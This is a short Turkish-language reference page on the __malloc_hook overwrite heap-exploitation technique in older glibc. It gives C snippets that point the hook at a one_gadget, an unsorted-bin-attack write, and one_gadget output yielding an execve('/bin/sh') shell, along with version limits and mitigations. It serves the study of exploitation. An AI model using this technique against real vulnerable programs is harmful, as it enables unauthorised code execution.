__malloc_hook overwrite¶
glibc'nin
__malloc_hook'unu bir one_gadget ile overwrite et, böylece bir sonraki allocation doğrudan bir execve("/bin/sh") gadget'ına atlasın.
Mechanism¶
Note
__malloc_hook, libc'nin writable data section'ındaki global, mangle'lanmamış
bir function pointer'dır. malloc'un en başında glibc bunu kontrol eder ve
non-NULL ise allocate etmek yerine hook(size, caller) çağırır. __free_hook gibi,
burada da pointer mangling ya da integrity kontrolü yoktur — buna ulaşan bir
arbitrary write kontrollü bir indirect call verir.
malloc'un argümanı kullanışlı bir pointer değil bir size olduğu için, burada
system zahmetlidir. Bunun yerine hook'u bir one_gadget'a yönelt — malloc call
site'ında register/stack kısıtları sağlandığında execve("/bin/sh", ...) çağıran bir
libc adresi. Paralel olan __realloc_hook (realloc tarafından tetiklenir) tam
__malloc_hook'un altında durur ve genellikle aynı zincirde overwrite edilir (House of
Roman vb.).
Warning
glibc 2.34'te kaldırıldı (2.32'de deprecate edildi). Ayrıca, unsorted bin
attack ile klasik eşleşmesi — ki bu, __malloc_hook'a doğru bir fastbin attack
tohumlamak için bir hedefe main_arena pointer'ı yazıyordu — glibc 2.29'da
eklenen bir bk integrity kontrolü ile etkisiz hale getirildi. Yani bu, hangi bacağı
kullandığına bağlı olarak glibc ≤ 2.28 / ≤ 2.33 tekniğidir.
Walkthrough¶
Açık bir malloc olmadan hook'u tetiklemek için kocaman bir printf width'i kullan
(glibc'nin vfprintf'ini bir scratch buffer allocate etmeye zorlar):
// glibc <= 2.33
unsigned long *hook = (unsigned long *)&__malloc_hook;
*hook = libc_base + ONE_GADGET_OFFSET; // via fastbin/tcache poison
malloc(0x10); // -> one_gadget() => execve("/bin/sh")
// or indirectly:
printf("%10000$c"); // vfprintf mallocs -> hook fires
Write'ı hook'un yakınına düşürmek için daha eski unsorted-bin-attack bacağı (glibc < 2.29):
// how2heap glibc_2.23/unsorted_bin_attack.c
p[1] = (unsigned long)(&target - 2); // corrupt freed chunk's bk = target-0x10
malloc(0x410); // unlink writes &unsortedbin into target
Gadget'ı bul:
$ one_gadget ./libc-2.27.so
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints: rsp & 0xf == 0 && rcx == NULL
Beklenen: bir sonraki allocation kontrolü one_gadget'a aktarır ve bir shell verir.
Mitigation¶
- glibc ≥ 2.34 hook'u kaldırdı.
- glibc ≥ 2.29 unsorted-bin
bkkontrolünü ekleyerek klasik write-into-hook tohumlamasını kırdı. - Modern hedefler bunun yerine exit-handler abuse, TLS dtor hijack veya FSOP gerektirir.